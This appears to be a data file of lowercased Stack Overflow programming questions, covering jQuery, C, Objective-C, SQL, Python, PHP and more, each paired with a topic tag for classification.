&lt;center&gt;&lt;p&gt; &lt;input type= file  size= 58  style= height: 30px; font-size: 18px  name= filename &gt;&lt;/p&gt;                          &lt;input type= submit  name= submit  value= upload &gt;                                       &lt;/form&gt; </code></pre>,php
jquery disable all button of a css class and input type button <pre><code>&lt;input class= submit2  type= button  name= submit2   value= submit  id= submit1  onclick=  &gt; </code></pre>   i want to disable the button on my page after clicking it. to avoid double click.    i have tried following code   <pre><code>$(document).ready(function() {      $( .submit2 ).click(function() {          $( input.submit2 ).attr( disabled   true);      }); });​ </code></pre>   but it is working only when the input type of button is submit not button.    how to resolve this issue.    thanks in advance.,jquery
can t get a number guessing game to work in c  tried to write a program in c to say the amount of times you guessed the right number.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main() {     int i  searchnumber  number  rightguess;     rightguess = 0;     printf( give your number:  );     scanf( %d  &amp;searchnumber);     printf( \n\n give 10 numbers:  );     for(i=1;i&lt;=9;i++){         scanf( %d \n  &amp;number);         if(number == searchnumber){             rightguess++;         }     }      printf( you guessed the number %d times  &amp;rightguess);     return 0; } </code></pre>   however every time i run it  it says i guessed the number 6356736 times. even though i only entered a number 0 times. any help,c
accessing object property by assignment  say i have class like below   <pre><code>@interface restaurant : nsobject     @property (nonatomic strong) nsstring *restaurantid;     @property (nonatomic strong) nsstring *restaurantname;     @property (nonatomic strong) nsstring *restaurantaddress;  @end </code></pre>   if i am creating a  restaurant  object say  rest  and and i can access the properties like rest.restaurantid and so on.    my question is  how can i access the properties if i am assigning objects.something like this   <pre><code>restaurant *rest = [[restaurant alloc]init]; [rest setrestaurantname:@ mcd ];   id proxyobject; proxyobject = rest; </code></pre>   how can i access property  restaurantname  using proxyobject instead of rest     thank you,objective-c
traymenu hover item event  i build traymenu with sub-menu(settings....) i need to hanlde event when i hover this item  that i can popup some message or do other stuff.    i can t find the way to catch this event.    my code+ what i all ready tried.   <pre><code>private static notifyicon trayicon; private static contextmenu tm; private static contextmenu tmnowactions; private static contextmenu tmsettings;  static void main(string[] args) {      systrayapp();     application.run(); }  public static void systrayapp() {      tm = new contextmenu();     //now action     tmnowactions = new contextmenu();     tmnowactions.menuitems.add( check if file ready.   isfileexist);     tmnowactions.menuitems.add( get snxrates data.   getdatasnxrates);     tmnowactions.menuitems.add( update snxrates   getdatasnxrates);     tm.menuitems.add( now actions ).mergemenu(tmnowactions);     //now action      //settings     tmsettings = new contextmenu();     tmsettings.menuitems.add( show scheduler   showscheduler);     tmsettings.menuitems.add( hide scheduler   hidescheduler);     tm.menuitems.add( settings ).mergemenu(tmsettings);     //settings      tm.menuitems.add( - );     tm.menuitems.add( exit   onexit);     trayicon = new notifyicon();     trayicon.text =  silvernet ;     trayicon.icon = new icon(@ c:\users\vladimirp.silvernet\downloads\glyphish-glyphish-190-bank.ico   12  12);     // add menu to tray icon and show it.     trayicon.contextmenu = tm;     trayicon.visible = true;     scheduler.showdialog();  } public static void showscheduler(object sender  eventargs e) { } public static void hidescheduler(object sender  eventargs e) { } public static void isfileexist(object sender  eventargs e) { } public static void getdatasnxrates(object sender  eventargs e) { } public static void updatesnxrates(object sender  eventargs e) { }  public static void nowaction(object sender  eventargs e) { }  private static void menuselected(object sender  eventargs e) { //this not working     if (sender ==  settings )     {      }  } </code></pre>,c#
calc not working on server   yet works on local  i have a four textboxs  the first one sums a column from a gridview and the 2nd box should multiplies the first box by the last box  the third box should add box two and one. this works on my local pc yet on the server it gives me the error input is not in the correct format. any help is welcome.   <ul> <li>textbox24 = 1.14</li> <li>textbox 21 = 5234</li> <li>textbox 22= multiply box24 * box21</li> <li>textbox 23 = box21 + box22</li> <li>english - south africa - both server and local pc </li> </ul>,c#
jquery use two method for one action  have one input and use own grid. and use <code>keypress</code> for submit value of input  i want to use click on save button and run keypress action.     for example:   <pre><code>$( input[name= name ]   #save_button ).live( keypress   function(event) {}) </code></pre>   input must be <code>keypressed</code> and <code>#save_button</code> must be clicked  can i use this method for running one function to save in database     sorry for my english.,jquery
saving nsnumber core data  how can i save a number within core data from a uitextfield   i know its something stupid but its annoying and i cant get round it !    im doing this right now and i keep getting nulls   <pre><code>nslog(@ savedata(client) ); [self dismisskeyboard]; client *client = (client *)[nsentitydescription insertnewobjectforentityforname:@ client  inmanagedobjectcontext:managedobjectcontext];  client.dayofservice = dayofservicetextfield.text; client.clientname = clientnametextfield.text; client.typeofclient = typeofclienttextfield.text; client.addressline1 = addressln1textfield.text; client.addressline2 = addressln2textfield.text; client.idcardnumber = idcardnumbertextfield.text;   telephonetextfield.text = telephonenumber; nsnumberformatter * f1 = [[nsnumberformatter alloc] init]; [f1 setnumberstyle:nsnumberformatterdecimalstyle]; nsnumber * parsedtelephone = [f1 numberfromstring:telephonenumber]; nslog(@ %@  parsedtelephone);  [f1 release];  client.telephone = parsedtelephone; </code></pre>,ios
nsstring to nsdata without encoding  what is reverse code for:   <pre><code>nsstring *token = [nsstring stringwithformat:@ %@  tokendata]; </code></pre>   so far i tried:   <pre><code>nsstring *tokenstr = @ &lt;e307808e 2e443d7d ef35f248 aafc5e97 fb8e1cba d65d8ac1 88441028 3bd7b383&gt; ; nsdata * tokendata = [tokenstr datausingencoding:nsutf8stringencoding]; nsstring *origtoken = [nsstring stringwithformat:@ %@  tokendata]; </code></pre>   however <code>token</code> != <code>origtoken</code>    <strong>i cannot change:</strong>   <pre><code>nsstring *token = [nsstring stringwithformat:@ %@  tokendata]; </code></pre>   because i write unit test for this code,objective-c
strtof with char pointer set to 0.0  the problem i am having is that    <pre><code>float strtof( const char *restrict str  char **restrict str_end ); </code></pre>   returns 0.0 if conversion is unsuccessful. say i have the following code...   <pre><code>int main() {    char* str =  0.0 ;    char* end;    float conversion = strtof(str  &amp;end); } </code></pre>   this will not tell me if the str is a valid string or if the string is value 0.0. i want to return true if the str is a valid floating number  otherwise false.,c
python: filter a series of lists by sign of elements  i ve a nested <code>list</code> that looks like this   <pre><code>list = [[1 2 3 4] [-1 -2 -3 -4] [1 2 -3 -4]] </code></pre>   i m trying to find a way to keep only the lists where all values have the same sign. so in this case  the first two lists nested within <code>list</code> would be kept and the third would be removed.    does anyone have suggestions for how this could be achieved,python
how do i test which class an object is in objective-c   how do i test whether an object is an instance of a particular class in objective-c  let s say i want to see if object a is an instance of class b  or class c  how do i go about doing it,objective-c
return count of true/false in a column of a sql table in c#   how to return count of true/ false in a column of a table. i have a table in sql containing 5 columns with bollean type. now i have to return the number of trues and falses in each column and display on my frontend. can somebody guide me to write the query     thanks,asp.net
reinterpreting std::string to unsigned int array  i want to achieve something like that in c (arm platform):   <pre><code>char a[] = {0xaa  0xbb  0xcc  0xdd  0x11  0x22  0x33  0x44}; uint32_t *auint = (uint32_t *)a; </code></pre>   then i can use:   <pre><code>printf( %x   auint[1]); </code></pre>   and the result will be:   <pre><code>0x11223344 </code></pre>   now i would like to do the same in c++  but when i try to do something like this (assuming string length % 4 == 0):   <pre><code>std::string str( some human readable     ); uint32_t *databyword = reinterpret_cast&lt;uint32_t&gt;(&amp;str); </code></pre>   i get output:   <pre><code>error: cast from ‘const std::__cxx11::basic_string&lt;char&gt;*’ to ‘uint32_t {aka unsigned int}’ loses precision [-fpermissive] </code></pre>   is there a way to reinterpret input string to avoid any loops or copying,c++
sort the date in sqlite database  i am making an iphone application in which i am storing date and time in a column now i want to sort the date and time in the order which occurs first.    how can i do this  please give me some solutions.,iphone
scanf doesn t accept input  only my first line of input request user to key in the value. input b not request user to key in and shows wrong total.      <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  //basic calculation input 2 integer one by one int main(int argc  char *argv[]) {     int a b c;     //request one input     printf( integer a: \n );     scanf( %a  &amp;a);     //request one input     printf( integer b: \n );     scanf( %b  &amp;b);      c=a+b;     //display amount integer     printf( total: &amp;c  c);      system( pause );         return 0; } </code></pre>,c
how to output html with jquery without appending to element   i would like to output the html code below without appending it to any element. is this possible.i need to do that because the jquery plugin i m using needs to have the clean html below any ideas . thanks   <pre><code> $(document).ready(function() {    $.ajax({     type:  post       contenttype:  application/json; charset=utf-8       data:  {}       url: page.aspx/getdata       datatype:  json       success: function(data) {        if (data.hasownproperty( d ))         dosomething(data.d);       else         dosomething(data);     }  });    function dosomething(msg) {    var scomms = msg;    alert(msg);  } </code></pre>   and html   <pre><code>    &lt;blockquote&gt;         &lt;p&gt;ut eu consectetur nisi. praesent facilisis diam nec sapien gravida non mattis justo imperdiet. vestibulum nisl urna  euismod sit amet congue at  bibendum non risus.&lt;/p&gt;         &lt;cite&gt;&amp;ndash; quote author (quote #1)&lt;/cite&gt;     &lt;/blockquote&gt; </code></pre>,jquery
my jquery queued functions fail to run after the first time <pre><code>&lt;input id= lightson  class= buttonl  type= button  value= on  /&gt; &lt;input id= lightsoff   class= buttonl  type= button  value= off  /&gt; &lt;p class= status2 &gt;&lt;/p&gt;  &lt;script type= text/javascript &gt; $( #lightson ).click( function(){     $.get( http://&lt; php echo $_session[ ip ] &gt;/ 2   {}  callbacka());     function callbacka(){         $( .status2 ).load( status2.php ).delay(3000).queue(function() {             $(this).empty();         });     } });  $(  #lightsoff  ).click( function () {     $.get( http://&lt; php echo $_session[ ip ] &gt;/ 3   {}  callbackb());     function callbackb(){         $( .status2 ).load( status3.php ).delay(3000).queue(function() {             $(this).empty();         });     }  }); &lt;/script&gt; </code></pre>   when i click <code>lightson</code>  i want to load something in to my <code>div</code> and after three seconds to empty it. also when i click <code>lightsoff</code> i want to load something else and after three seconds to empty it because both buttons use the same <code>div</code>.     this code works only once. when my page loads and i click one of two buttons (it doesn t matter which button) it works  but if i click the other button  it loads the info in the <code>div</code> but doesn t empty it.     <strong>my new code that works for the time is:</strong>   <pre><code>&lt;input id= lightson  class= buttonl  type= button  value= on  /&gt; &lt;input id= lightsoff   class= buttonl  type= button  value= off  /&gt; &lt;p class= status2 &gt;&lt;/p&gt;  &lt;script type= text/javascript &gt; $( #lightson ).click(function(){     $.get( http://&lt; php echo $_session[ ip ] &gt;/ 2   {}  callbacka());     function callbacka() {         $( .status2 ).load( status2.php ).delay(3000).queue(function(){             $( .status2 ).empty().dequeue();         });     } });  $( #lightsoff ).click( function () {     $.get( http://&lt; php echo $_session[ ip ] &gt;/ 3   {}  callbackb());     function callbackb(){        $( .status2 ).load( status3.php ).delay(3000).queue(function() {            $( .status2 ).empty().dequeue();        });     }  }); &lt;/script&gt; </code></pre>   description for what i want with the above code: i have two button. when i click one of them i want to send the value  2  to a url and in the class status2 to load the content of status2.php and after 3secs to empty the class status2. and so on if i click the other button. i think the above code do the job. if i remove the  ()  from the callback when i click the button only send the value  2  and nothing else happens.,jquery
access parent scope value in directive ng-switch attribute  why doesn t this work    <pre><code>{{shout.user.id}} : {{$parent.me.id}} &lt;!-- gives: 1 : 1 --&gt;  &lt;div ng-switch on= shout.user.id &gt;       {{shout.user.id}} : {{$parent.me.id}} &lt;!-- gives: 1 : 1 --&gt;       &lt;a class= btn btn-mini btn-danger pull-right           ng-click= remove($index)           ng-switch-when= $parent.me.id  &lt;!-- this doesn t work!  --&gt;       &gt;&lt;i class= icon-remove &gt;&lt;/i&gt;&lt;/a&gt;  &lt;/div&gt; </code></pre>   i have spaced and commented the code so it s easier to understand.    i ve tried to wrap the shout.user.id and/or the $parent.me.id into curly brackets  but it didn t solve my problem.    if i hardcode the two values to 1 and 1  the ng-switch works  and the button is displayed.    $parent  in this case  is the $rootscope.,angularjs
select all judges that had their verdict changed at least half of the times  i have two tables:   <pre><code>case(caseid judge verdict)  appeal(caseid verdict) </code></pre>   and i want to select all judges that had their verdict changed at least half of the times (for example  if a judge presided in 5 cases and 3 of his verdicts were changed in the appeal  i want to select him).    i tried to solve it using nested queries but i got confused because i don t really understand how to refer to the outer query from the nested query.    <strong>update:</strong> what i ve tried (i don t really know how to get the nested query to only select judges which are the same judges as the outer query)   <pre><code>select distinct judge from case c where (select count(*) from c where c.judge = case.judge) &lt;= 2 * (select count(*) from appeal case where case.cid = appeal.cid and case.verdict &lt;&gt; appeal.verdict) </code></pre>,sql
save two references in one mysql field  i need to save in <strong>one mysql field</strong> two numeric values  <strong>a</strong> and <strong>b</strong>. both are natural numbers with a maximum of 11 characters  and they are going to be used in the next sql structure.   <pre><code> select from table where field=a and foild=b  </code></pre>   i thought about the next two possibilities:   <ol> <li>create a <em>decimal</em> with {11} {11} range.</li> <li>create a <em>varchar</em> with 23 chars and save them as  a.b  string.</li> </ol>   which is the best option  is there any better option to get it work fast     when saying fast i mean also the  cheapest  way to get <strong>a</strong> and <strong>b</strong> work in my query. both examples would need a split process before using them  and i do not know if there is any way of doing this directly in one query  having <strong>a</strong> and <strong>b</strong> as <em>curiousfield.part1</em> and <em>curiousfield.part2</em>...    thanks  <em>(excuse me if <strong>curiousfield</strong> was too fantastic)</em>    <strong>edit:</strong>    why do i want to store multiple values in one column     because i have the next <strong>tables</strong>:    <strong>int-value</strong> <em>content [int]</em>    <strong>varchar-value</strong> <em>content [varchar (100)]</em>    <strong>text-value</strong> <em>content [text]</em>    <strong>magic-value</strong> <em>content [    ]</em>    it is always being saved in  content  for many reasons  and making  magic-value  table to have content-a and content-b fields  would not be a nice solution in the requirements i am working with.,mysql
start asynctask in timertask  i have a timer that i want to start an asynctask when the countdown is done. if i put the execution of it in a handler it loops it and starts it many times. and if i dont put it in a handler i get the following crash: <strong>can t create handler inside thread that has not called looper.prepare()</strong>   <pre><code>timer.schedule(new listupdate()  helper.nextlistupdate.get(0));  class listupdate extends timertask {     private handler mhandler = new handler(looper.getmainlooper());     public void run() {         mhandler.post(new runnable() {             public void run() {                 asynctask&lt;integer  void  boolean&gt; task = new updatelist();                 task.execute();             }         });     } } </code></pre>   any suggestions of how i can solve this,android
error occurs in python for mcp2210  i tried to upload below program in python for spi communication with ad5592r.   <pre><code>handle0 = c_void_p(mcp2210_openbyindex(vid  pid  index0  path0   byref(pathsize0))); </code></pre>   but i am getting some errors while running the program. please help to sort this problem.   <pre><code>pgpiodir = c_ushort( 0x00000140) ret_code=mcp2210.mcp2210_getgpiopindir(handle0 pgpiodir)  if ret_code != 0: #e_success     print( unexpected error code returned:    errors_dict.get(ret_code  ret_code))   else:     print( i )     print ( mcp2210 #0 manufacturer descriptor is:    pgpiodir.value)     print( k ) </code></pre>,python
program exits when players number of turns = 6. python battleship game  i m making a 2-player battleship game in python. i ve made it so that each  game  allows a total of 6 turns (3 from each player)  after which a message will appear saying  the number of turns has ended .     once this happens  they will be asked to play again. if they answer  yes  or  y   the game should reload. however it doesn t. the board loads but the program then exits. i believe the issue lies with my play_again() function but i m not quite sure what it is.    i want to make it so that the players can play as many games as they want until they decide to answer  no  or  n . how do i go about implementing this    <pre><code>from random import randint   game_board = []  player_one = {      name :  player 1        wins : 0  }  player_two = {      name :  player 2        wins : 0  }  colors = { reset : \033[00m              red : \033[91m              blue : \033[94m              cyan : \033[96m                }   # building our 5 x 5 board def build_game_board(board):     for item in range(5):         board.append([ o ] * 5)  def show_board(board):     for row in board:         print(   .join(row))  # defining ships locations def load_game(board):     print( welcome to battleship! )     print( find and sink the ship! )     del board[:]     build_game_board(board)     print(colors[ blue ])     show_board(board)     print(colors[ reset ])     ship_col = randint(1  len(board))     ship_row = randint(1  len(board[0]))     return {          ship_col : ship_col           ship_row : ship_row      }  ship_points = load_game(game_board)   # players will alternate turns. def player_turns(total_turns):      if total_turns % 2 == 0:         total_turns += 1         return player_one      return player_two  # allows new game to start def play_again():      positive = [ yes    y ]      negative = [ no    n ]      global ship_points      while true:         answer = input( play again  [y(es) / n(o)]:  ).lower().strip()         if answer in positive:             ship_points = load_game(game_board)             break          elif answer in negative:                print( thanks for playing! )             exit()  # what will be done with players guesses def input_check(ship_row  ship_col  player  board):     guess_col = 0     guess_row = 0     while true:         try:             guess_row = int(input( guess row: )) - 1             guess_col = int(input( guess col: )) - 1         except valueerror:             print( enter a number only:  )             continue         else:             break     match = guess_row == ship_row - 1 and guess_col == ship_col - 1     not_on_game_board = (guess_row &lt; 0 or guess_row &gt; 4) or (guess_col &lt; 0 or guess_col &gt; 4)      if match:         player[ wins ] += 1         print( congratulations! you sunk my battleship! )         print( the current match score is %d : %d (player1 : player2)  % (player_one[ wins ]  player_two[ wins ]))         print( thanks for playing! )         play_again()      elif not match:         if not_on_game_board:             print( oops  that s not even in the ocean. )          elif board[guess_row][guess_col] ==  x  or board[guess_row][guess_col] ==  y :             print( you guessed that one already. )          else:             print( you missed my battleship! )             if player == player_one:                 board[guess_row][guess_col] =  x              else:                 board[guess_row][guess_col] =  y           print(colors[ cyan ])         show_board(game_board)         print(colors[ reset ])      else:         return 0   def main():     begin = input( type \ start\  to begin:  )     while (begin != str( start )):         begin = input( type \ start\  to begin:  )      for turns in range(6):          if player_turns(turns) == player_one:             print(ship_points)             print( player one )             input_check(                 ship_points[ ship_row ]                  ship_points[ ship_col ]                  player_one  game_board             )          elif player_turns(turns) == player_two:             print( player two )             input_check(                 ship_points[ ship_row ]                  ship_points[ ship_col ]                  player_two  game_board             )          if turns == 5:             print( the number of turns has ended. )             print(colors[ red ])             show_board(game_board)             print(colors[ reset ])             print( the current match score is %d : %d (player1 : player2)  % (player_one[ wins ]  player_two[ wins ]))             play_again()  if __name__ ==  __main__ :     main() </code></pre>,python
iphone: pass a value to a method called via @selector()  i want to pass a variable to he buttonevent method in the selector.    [button addtarget:messagetableviewcontroller action:@selector(buttonevent)  forcontrolevents:uicontroleventtouchupinside];     how does one do this  say if the variable is uid     the method signature is  -(void)buttonevent:(nstring *)uid;,iphone
multiple instance arguments  good day! i m wondering if it s possible to assign multiple different types of arguments when instantiating a class.    here s an example of what i have right now   <pre><code>    public unit(vector2 position  color col)     {         this.position = position;         this.color = col;     } </code></pre>   notice how it needs both a vec2 &amp; color  i m wondering if it s possible to do it so i can choose between either only one argument or both example follows below.   <h1>1</h1>  <pre><code>    public unit(vector2 position)     {         this.position = position;         this.color = color.white;     } </code></pre>  <h1>2</h1>  <pre><code>    public unit(vector2 position  color col)     {         this.position = position;         this.color = col;     } </code></pre>,c#
sql how to insert and left join <pre><code>name table a             1.budy                   2.rendy                 3.rona                   4.sandi 5.susi  table b 1.budy 2.rendy 3.rona </code></pre>   how i can show on table b sandi and susi from table a with sql,sql
logic for nine to one equals 100  i was recently asked this question in an interview . can anyone help me with a code to solve this problem     we have a sequence of non-zero digits 123456789. the problem is to place plus or minus signs between them so that the result of thus described arithmetic operation will be 100. we can use a number only once . however we can use the operators(+ - * /) any number of times    edit : i was asked to write a java code for this question . so i believe its relevant    the followup question was to get all possible combinations,java
w3c validation for error  i have been trying to look for a solution for this w3c html validation error for more than i should be. i still can t figure out how to solve this. if anyone in here could help me out  that would be great.   <pre><code>line 109  column 27: the for attribute of the label element must refer to a form control.                      &lt;label for= location &gt;location&lt;/label&gt;  line 162  column 27: the for attribute of the label element must refer to a form control.                      &lt;label for= location &gt;location&lt;/label&gt;  </code></pre>   html code    <pre><code>&lt;fieldset id= meat &gt;     &lt;legend&gt;meat toppings&lt;/legend&gt;        &lt;label for= location &gt;location&lt;/label&gt;         &lt;img  src= full.png  alt= full &gt;         &lt;img src= left.png  alt= left &gt;         &lt;img src= right.png  alt= right &gt;         &lt;img id= location  src= none.png  alt= none &gt; </code></pre>,html
c# convert datetime from one format to another  i thought this would be a really simple  and i ve tried to google it and i keep getting the exception <code>string was not recognized as a valid datetime.</code>    this is my value <code> 2013-10-21t14:10:49 </code> this is what i want to convert it into <code>10/21/2013 10:49</code>   <pre><code>string sample =  2013-10-21t14:10:49 ; datetime date31 = datetime.parseexact(sample   mm/dd/yyyy hh:mm   system.globalization.cultureinfo.invariantculture); </code></pre>,c#
data argument not used by format string in ios <pre><code>nsurl *url = [nsurl urlwithstring: @ www.bikrionline.com/database/iqry_mbr_mst.php ]; nsstring *body = [nsstring stringwithformat: @ txtemail=%@&amp;txtpwd=%@&amp;txtcpwd   email  password confirmpassword]; nsmutableurlrequest *request = [[nsmutableurlrequest alloc]initwithurl: url]; [request sethttpmethod: @ post ]; [request sethttpbody: [body datausingencoding: nsutf8stringencoding]]; [_webview loadrequest: request]; </code></pre>,ios
is there any way to to check whether the value present in row for multiple columns  i have a string variable <code>abc</code> . now i would like to check whether the value of <code>abc</code> is present in a searched row form sql (table x ) for multiple columns.    so if (<code>abc</code>) is present in <code>column01  column02  ....column50</code>. let s say flag <code>present</code> is set.    i have this kind of requirement. it can be accomplished by hard coding and checking all the 50 columns one by one.     is there any other way,java
why does the lack of !empty($_get) generate an error   my php code is :   <pre><code>&lt; php      if ((!empty($_post)) &amp;&amp; ($_post[ action ] ==  addrunner ))     {         $fname = htmlspecialchars($_post[ txtfirstname ]);         $lname = htmlspecialchars($_post[ txtlastname ]);         $gender = htmlspecialchars($_post[ ddlgender ]);         $minutes = htmlspecialchars($_post[ txtminutes ]);         $seconds = htmlspecialchars($_post[ txtseconds ]);          if(preg_match( /[^\w\s]/i   $fname) || preg_match( /[^\w\s]/i   $lname))          {             fail( invalid name provided. );         }         if( empty($fname) || empty($lname) )          {             fail( please enter a first and last name. );         }         if( empty($gender) )          {             fail( please select a gender. );         }          $time = $minutes. : .$seconds;         $query =  insert into runners set first_name= $fname   last_name= $lname           gender= $gender   finish_time= $time  ;         $result = db_connection($query);         if ($result)          {             $msg =  runner:  .$fname.   .$lname.  added successfully  ;             success($msg);         }          else          {              fail( insert failed. );         }          exit;     }     elseif($_get[ action ] ==  getrunners )     {          $query =  select first_name  last_name  gender  finish_time from runners order by finish_time asc ;         $result = db_connection($query);          $runners = array();          while($row = mysqli_fetch_array($result))         {             array_push($runners  array( fname  =&gt; $row[ first_name ]   lname  =&gt; $row[ last_name ]   gender  =&gt; $row[ gender ]   time  =&gt; $row[ finish_time ]));         }          echo json_encode(array( runners  =&gt; $runners));         exit;     }      function db_connection($query)     {         $dbc = mysqli_connect( 127.0.0.1   runner_db_user   runner_db_password   race_info )             or die( error connecting to database );          return mysqli_query($dbc $query);     }      function fail($message)      {         die(json_encode(array( status  =&gt;  fail    message  =&gt; $message)));     }     function success($message)      {         die(json_encode(array( status  =&gt;  success    message  =&gt; $message)));     }   &gt; </code></pre>   note that the original code provided in the book read    <pre><code>if ($_post[ action ] ==  addrunner ) </code></pre>   instead of    <pre><code>if ((!empty($_post)) &amp;&amp; ($_post[ action ] ==  addrunner )) </code></pre>   however  the original code generates an error saying   <blockquote>    notice: undefined index: action in e:\wamp\www\z_jquery\ch9\service.php on line 3  </blockquote>   <strong>i m guessing this is because unless a post request is generated  the value of $_post[ action ] isn t assigned a value. is that correct </strong>    but  even though the code doesn t contain a step to check if <code>$_get[ action ]</code> is empty or not  the code still runs perfectly  even if a post request occurs (and presumably <code>$_get[ action ]</code> is null). why does this happen     why does the following work:   <pre><code>elseif($_get[ action ] ==  getrunners ) </code></pre>   and  why don t i have to write:   <pre><code>elseif((!empty($_get)) &amp;&amp; ($_get[ action ] ==  getrunners )) </code></pre>  <blockquote>    note that <a href= http://localhost/z_jquery/ch9/service.php action=addrunners  rel= nofollow >http://localhost/z_jquery/ch9/service.php action=addrunners</a> generates an empty page  as expected  and no warnings or errors.  </blockquote>,php
why are settings embedded into assemblies   when project settings (project>properties>settings tab in vs) are used to store user or application settings they are stored in <code>assembly.dll.config</code> or  <code>assembly.exe.config</code> file and are also embedded into the assembly every time the assembly is built.    after the deployment  user settings are stored in user.config file (this is at least true with click-once deployment  i m not sure how it s handled by msi deployed or with standard setup apps) and whenever user changes a setting this is where new value is stored and retreived from at run-time.    now  all that makes sense but i just tried deleting the <code>app.exe.config</code> file of a deployed app and after that the app would crash on start and it would not work until the <code>app.exe.config</code> file was restored.    if that is the case and the app cannot use the embedded settings when the config file is missing or tempered with  what is the point of embedding the settings in the first place and are there any scenarios where these embedded settings would get to be used,.net
listview - can you set datakeynames when binding to a simple scalar array   i have a case that keeps coming up where i m using a listview or similar control with a simple array such as string[].    is there a way to use the datakeynames property when you are binding to simple collections,asp.net
adding form fields to another array  i am using a script that handles file uploads.    part of the script passes information from several fields to a variable name like this:   <pre><code>var inputs = data.context.find( :input ).not( :button ); </code></pre>   later in the script it is used like this:   <pre><code>data.formdata = inputs.serializearray(); </code></pre>   the issue i am having is that i added a couple of additional  general  fields to the beginning of the form that i want to use in the form handler as well.    the two fields i added are:   <pre><code>&lt;input id= uploadername  type= text  name= uploadername  required value=  &gt; &lt;input id= uploaderemail  type= text  name= uploaderemail  required value=  &gt; </code></pre>   so when this is called:   <pre><code>data.formdata = inputs.serializearray(); </code></pre>   i need formdata to include inputs.serializearray()  uploadername  and uploaderemail.    any ideas,javascript
something i can not figure out about vtable and vptr in multiple inheritance  the following code    <pre><code>    class b { public:      void f1() {} }; class c { public:      void f2() {} }; class d : public b  public c { public:     virtual void f3() {} }; int main() {      cout &lt;&lt; sizeof(b) &lt;&lt; endl;     cout &lt;&lt; sizeof(c) &lt;&lt; endl;     cout &lt;&lt; sizeof(d) &lt;&lt; endl;      system( pause );     return 0; } </code></pre>   gets a result <code>1 1 8</code>.so why is 8 not 4(in my computer a pointer takes 4 bytes)  b c do not have vptr  and when d has virtual members  d s vptr is placed in the vtable of the first inherited class which is b since the following code   <pre><code>class b { public:      virtual void f1() {} //now is virtual }; class c { public:      void f2() {} }; class d : public b  public c { public:     virtual void f3() {} }; int main() {      cout &lt;&lt; sizeof(b) &lt;&lt; endl;     cout &lt;&lt; sizeof(c) &lt;&lt; endl;     cout &lt;&lt; sizeof(d) &lt;&lt; endl;      system( pause );     return 0; } </code></pre>   gets a result <code>4 1 4</code>. may somebody explain it to me  thanks a lot!,c++
slider responsiveness  my web theme has a slider built in that wasn t full width.  i did some research and to make it full width i added a 1400px wide image and set the containers css to:   <pre><code>width: 100%; padding-right: 0px; padding-left: 0px; </code></pre>   however it doesn t scale to smaller screen sizes like i was hoping.  i did some research but can t find anything that works or is that specific.  how do you think i can fix this and make it look the same on all screens.,css
loading shared libraries while running program in c instead of linking  i want to load a library inside my app instead of linking it while compiling .i mean i do nt want to link it with  -lxzy  while compiling .     sth like load_library( xyz ); or .... . how may i do that,c
reading characted from string and getting an integer value  i have a string as follows:   <pre><code>char mystring[] =  amazing string ; </code></pre>   i want to loop over the string and print characters as follows:   <pre><code>int i = 0; for (i = 0;i &lt; sizeof(mystring);i++){     printf( %s\n   mystring[i]); } </code></pre>   but for some reason i get integer values instead of the character itself.    sorry if this is a completely stupid question but i cant see what i am doing wrong.,c
how to split a single line into multiple lines on a web page (html) so that it would not be inside text box   i want to split a single line into multiple lines on a web page (html)  but it should not be inside text box. can anyone suggest me the tag to be used other than textarea,html
refresh same screen with different data ios app  i am creating a simple app in which we want to ask 10 different questions with 4 options to users.    so when app loads  the screen has 1 question  4 options  a background image and go button.    i have stored all these 10 questions with their options and background image in multidimensional array.    when i click on go button i want to refresh same screen and want to show next question with their options and background image.    and also when i go back.    i am very new to ios  what approach should i take for achieving this     can it be possible using single screen or i have to make multiple screens.    any idea  any suggestions,ios
mwphotobrowser: show captions for every photo  i m using mwphotobrowser in my ios app. i would like the controls and captions to remain visible until the user taps to dismiss the controls and caption. when i swipe to move to the next photo  the caption and toolbar disappear. i would like it to toggle between visible and hidden when the user taps the photo. if the user taps to show the caption and then swipes to see the next photo  the caption disappears again. i would like it to stay visible    i don t see anything in the public interface on the mwphotobrowser which allows me to control this behavior. there are a couple of private methods that are related  but i wanted to find out if there is a proper way to control this behavior.,ios
union or left join   i have try to union two tables and left join but the result no i want.any idea  please help.     table a   <pre><code>deduction_no  group_id    emp_id     service_code    amt  prd533       prg158      null          2351          35      prd533       prg158      null          4854          160          prd533       prg158      null          4857          44            prd533       prg158      null          6611           3               </code></pre>   table b   <pre><code>deduction_no  group_id    emp_id       is_selected    deduct_amt  prd533         prg158     001               y         82  prd533         prg158     001               n         0  prd533         prg158     002               y         195  prd533         prg158     002               n         0  prd533         prg158     003               y         79  prd533         prg158     003               n          0   prd533         prg158     004               y         107  prd533         prg158     004               n          0 </code></pre>   output but i don t want to like this (union)   <pre><code>deduction_no  group_id    emp_id     service_code     deduct_atm  prd533       prg158      001          -               prd533       prg158      002          -               prd533       prg158      003          -              prd533       prg158      004          -                   prd533       prg158      -          2351               35  prd533       prg158      -          4854               160        prd533       prg158      -          4857               44  prd533       prg158      -          6611               3 </code></pre>   output using left join   <pre><code>deduction_no  group_id    emp_id     service_code     deduct_atm  prd533       prg158      001          2351             35  prd533       prg158      001          4854             160  prd533       prg158      001          4857             44  prd533       prg158      001          6611             3       prd533       prg158      002          2351             35  prd533       prg158      002          4854             160  prd533       prg158      002          4857             44  prd533       prg158      002          6611             3    </code></pre>   desired output   <pre><code>deduction_no  group_id    emp_id     service_code    amt  prd533       prg158      001          2351          35   prd533       prg158      002          2351          35    prd533       prg158      003          2351          35      prd533       prg158      001          4854          160          prd533       prg158      002          4857          44  prd533       prg158      004          4857          44             prd533       prg158      003          6611           3      prd533       prg158      004          6611           3   </code></pre>   thank you,sql
